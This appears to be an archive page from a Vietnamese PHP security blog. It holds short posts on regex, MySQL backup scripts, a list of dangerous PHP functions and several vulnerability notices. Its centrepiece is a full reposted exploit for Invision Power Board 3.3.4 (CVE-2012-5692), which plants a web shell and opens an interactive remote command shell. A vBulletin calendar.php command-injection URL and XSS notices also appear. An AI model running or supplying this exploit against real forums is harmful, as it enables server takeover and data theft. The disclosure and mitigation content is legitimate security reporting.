Hiển thị các bài đăng có nhãn PHP. Hiển thị tất cả bài đăng
Hiển thị các bài đăng có nhãn PHP. Hiển thị tất cả bài đăng

Thứ Bảy, 10 tháng 11, 2012

Một số mẫu Regular Expressions

Regular Expressions xuất hiện một cách thường xuyên và gần như không thể thiếu với một lập trình viên chuyên nghiệp không chỉ trong PHP mà ở nhiều ngôn ngữ khác , nó rất tiện dụng và hữu ích. Xin giới thiệu một vài mẫu Regex hữu ích sau mà mình sưu tầm được
Đọc thêm »

Share code Restore dữ liệu MySQL trên PHP

Trong bài trước tôi đã share một đoạn code đơn giản để backup dữ liệu trên MySQL . Trong bài này như đã hưa tôi sẽ share một đoạn code để thực hiện việc phục hồi dữ liệu (Restore) các file dữ liệu đã backup. Lưu ý là từ các đoạn code đơn giản mà tôi cung cấp để có một ứng dụng sao lưu phục hồi chuyên nghiệp bạn cần phải phát triển thêm các tính năng chuyên nghiệp khác.
Sau đây là đoạn code:
Đọc thêm »

Share code Backup dữ liệu MySQL trên PHP

Chào mọi người, để sao lưu database MySQL chúng ta có rất nhiều cách: Bạn có thể dùng PHPMyAdmin, một mã nguồn mở để sao lưu phục hồi, hoặc bạn có thể sử dụng tool của MySQL... Tuy nhiên tôi đang viết một website và tôi muốn tự tạo cho mình một đoạn code PHP có chức năng sao lưu cơ sở dữ liệu MySQL. Sau một hồi lần mò trên internet tôi cũng tìm được một đoạn mã chạy tốt và mang ra chỉnh sửa một xíu cho nó phù hợp với Tiếng Việt
Đọc thêm »

Chủ Nhật, 4 tháng 11, 2012

The List of Function dangerous in PHP development


apache_child_terminate, apache_setenv, define_syslog_variables, escapeshellarg, escapeshellcmd, eval, exec, fp, fput, ftp_connect, ftp_exec, ftp_get, ftp_login, ftp_nb_fput, ftp_put, ftp_raw, ftp_rawlist, highlight_file, ini_alter, ini_get_all, ini_restore, inject_code, mysql_pconnect, openlog, passthru, php_uname, phpAds_remoteInfo, phpAds_XmlRpc, phpAds_xmlrpcDecode, phpAds_xmlrpcEncode, popen, posix_getpwuid, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid, posix_setuid, posix_setuid, posix_uname, proc_close, proc_get_status, proc_nice, proc_open, proc_terminate, shell_exec, syslog, system, xmlrpc_entity_decode

Invision Power Board <= 3.3.4 "unserialize()" PHP Code Execution


<?php

/*
----------------------------------------------------------------
Invision Power Board <= 3.3.4 "unserialize()" PHP Code Execution
----------------------------------------------------------------

author..............: Egidio Romano aka EgiX
mail................: n0b0d13s[at]gmail[dot]com
software link.......: http://www.invisionpower.com/

+-------------------------------------------------------------------------+
| This proof of concept code was written for educational purpose only. |
| Use it at your own risk. Author will be not responsible for any damage. |
+-------------------------------------------------------------------------+

[-] Vulnerable code in IPSCookie::get() method defined in /admin/sources/base/core.php

4015. static public function get($name)
4016. {
4017. // Check internal data first
4018. if ( isset( self::$_cookiesSet[ $name ] ) )
4019. {
4020. return self::$_cookiesSet[ $name ];
4021. }
4022. else if ( isset( $_COOKIE[ipsRegistry::$settings['cookie_id'].$name] ) )
4023. {
4024. $_value = $_COOKIE[ ipsRegistry::$settings['cookie_id'].$name ];
4025.
4026. if ( substr( $_value, 0, 2 ) == 'a:' )
4027. {
4028. return unserialize( stripslashes( urldecode( $_value ) ) );
4029. }

The vulnerability is caused due to this method unserialize user input passed through cookies without a proper
sanitization. The only one check is done at line 4026, where is controlled that the serialized string starts
with 'a:', but this is not sufficient to prevent a "PHP Object Injection" because an attacker may send a
serialized string which represents an array of objects. This can be exploited to execute arbitrary PHP code
via the "__destruct()" method of the "dbMain" class, which calls the "writeDebugLog" method to write debug
info into a file. PHP code may be injected only through the $_SERVER['QUERY_STRING'] variable, for this
reason successful exploitation of this vulnerability requires short_open_tag to be enabled.

[-] Disclosure timeline:

[21/10/2012] - Vulnerability discovered
[23/10/2012] - Vendor notified
[25/10/2012] - Patch released: http://community.invisionpower.com/t...ecurity-update
[25/10/2012] - CVE number requested
[29/10/2012] - Assigned CVE-2012-5692
[31/10/2012] - Public disclosure

*/

error_reporting(0);
set_time_limit(0);
ini_set('default_socket_timeout', 5);

function http_send($host, $packet)
{
if (!($sock = fsockopen($host, 80))) die("\n[-] No response from {$host}:80\n");
fputs($sock, $packet);
return stream_get_contents($sock);
}

print "\n+---------------------------------------------------------------------+";
print "\n| Invision Power Board <= 3.3.4 Remote Code Execution Exploit by EgiX |";
print "\n+---------------------------------------------------------------------+\n";

if ($argc < 3)
{
print "\nUsage......: php $argv[0] <host> <path>\n";
print "\nExample....: php $argv[0] localhost /";
print "\nExample....: php $argv[0] localhost /ipb/\n";
die();
}

list($host, $path) = array($argv[1], $argv[2]);

$packet = "GET {$path}index.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Connection: close\r\n\r\n";

$_prefix = preg_match('/Cookie: (.+)session/', http_send($host, $packet), $m) ? $m[1] : '';

class db_driver_mysql
{
public $obj = array('use_debug_log' => 1, 'debug_log' => 'cache/sh.php');
}

$payload = urlencode(serialize(array(new db_driver_mysql)));
$phpcode = '<?error_reporting(0);print(___);passthru(base64_d ecode($_SERVER[HTTP_CMD]));die;?>';

$packet = "GET {$path}index.php?{$phpcode} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: {$_prefix}member_id={$payload}\r\n";
$packet .= "Connection: close\r\n\r\n";

http_send($host, $packet);

$packet = "GET {$path}cache/sh.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";

if (preg_match('/<\?error/', http_send($host, $packet))) die("\n[-] short_open_tag disabled!\n");

while(1)
{
print "\nipb-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
$response = http_send($host, sprintf($packet, base64_encode($cmd)));
preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}

Thứ Hai, 29 tháng 10, 2012

vBulletin 2.0.x/2.2.x members2.php Cross Site Scripting Vulnerability

source: http://www.securityfocus.com/bid/6246/info
Due to insufficient sanitization of user supplied values, it is possible to exploit a vulnerability in VBulletin. By passing an invalid value to a variable located in 'members2.php', it is possible to generate an error page which will include attacker-supplied HTML code which will be executed in a legitimate users browser.

Đọc thêm »

vBulletin 2.0/2.2.x Memberlist.PHP Cross Site Scripting Vulnerability

source: http://www.securityfocus.com/bid/6226/info
vBulletin does not filter HTML tags from URI parameters, making it prone to cross-site scripting attacks.
As a result, it is possible for a remote attacker to create a malicious link containing script code which will be executed in the browser of a legitimate user, in the context of the website running vBulletin.

Đọc thêm »

vBulletin 2.0.3 Calendar.PHP Command Execution Vulnerability

Source: http://www.securityfocus.com/bid/5820/info
 
A remote command execution vulnerability has been reported for vBulletin. The vulnerability is due to vBulletin failing to properly sanitize user-supplied input from URI parameters.
 
An attacker can exploit this vulnerability to execute malicious commands on the vulnerable system.
 
http://www.example.com/calendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20'';%20echo%20%60<command>%20%60;die();echo%22
 
where <command> signifies a command to be executed on the system.

Nguồn: http://www.exploit-db.com/exploits/21874/

Thứ Bảy, 27 tháng 10, 2012

Xuất hiện mã khai thác từ xa lỗi 0-day mới của PHP 5.4.3 trên Windows

Vào hôm qua 18/05, một thành viên có nickname là 0in đã gửi lên trang packetstormsecurity.org một mã khai thác từ xa (remote exploit) lợi dụng lỗ hổng trong hàm com_print_typeinfo của PHP phiên bản 5.4.3 dành cho nền tảng Windows.
Trong phần ghi chú, 0in là tác giả của mã khai thác này cho biết, anh ta đã thử nghiệm thành công trên máy Windows XP SP3 được cập nhật đầy đủ các bản vá. Và kết quả là PHP engine sẽ thực thi bất kỳ shellcode nào được chứa trong mã khai thác này.

Hiện vẫn chưa có thông báo và bản vá lỗi chính thức nào từ nhóm phát triển PHP cho lỗi 0-day mới nhất này, nhưng dưới đây là một số biện pháp để hạn chế các rủi ro khác:

• Chặn tất cả các chức năng upload file trong các ứng dụng PHP.
• Sử dụng IPS để lọc các shellcode đã được biết đến, ví dụ các shellcode có trong Metasploit.
• Cập nhật PHP lên phiên bản mới nhất để phòng chống các lỗ hổng khác như CVE-2012-2336 được công bố vào đầu tháng này.
• Sử dụng Host-IPS để chặn bất kỳ các lỗi buffer overflow có thể có trong hệ thống.

(Theo Internet Storm Center (ISC))
Tham khảo:
http://isc.sans.edu/...PoC+in+the+wild
http://packetstormse...rg/files/112851

Nguồn: http://www.hvaonline.../list/42355.hva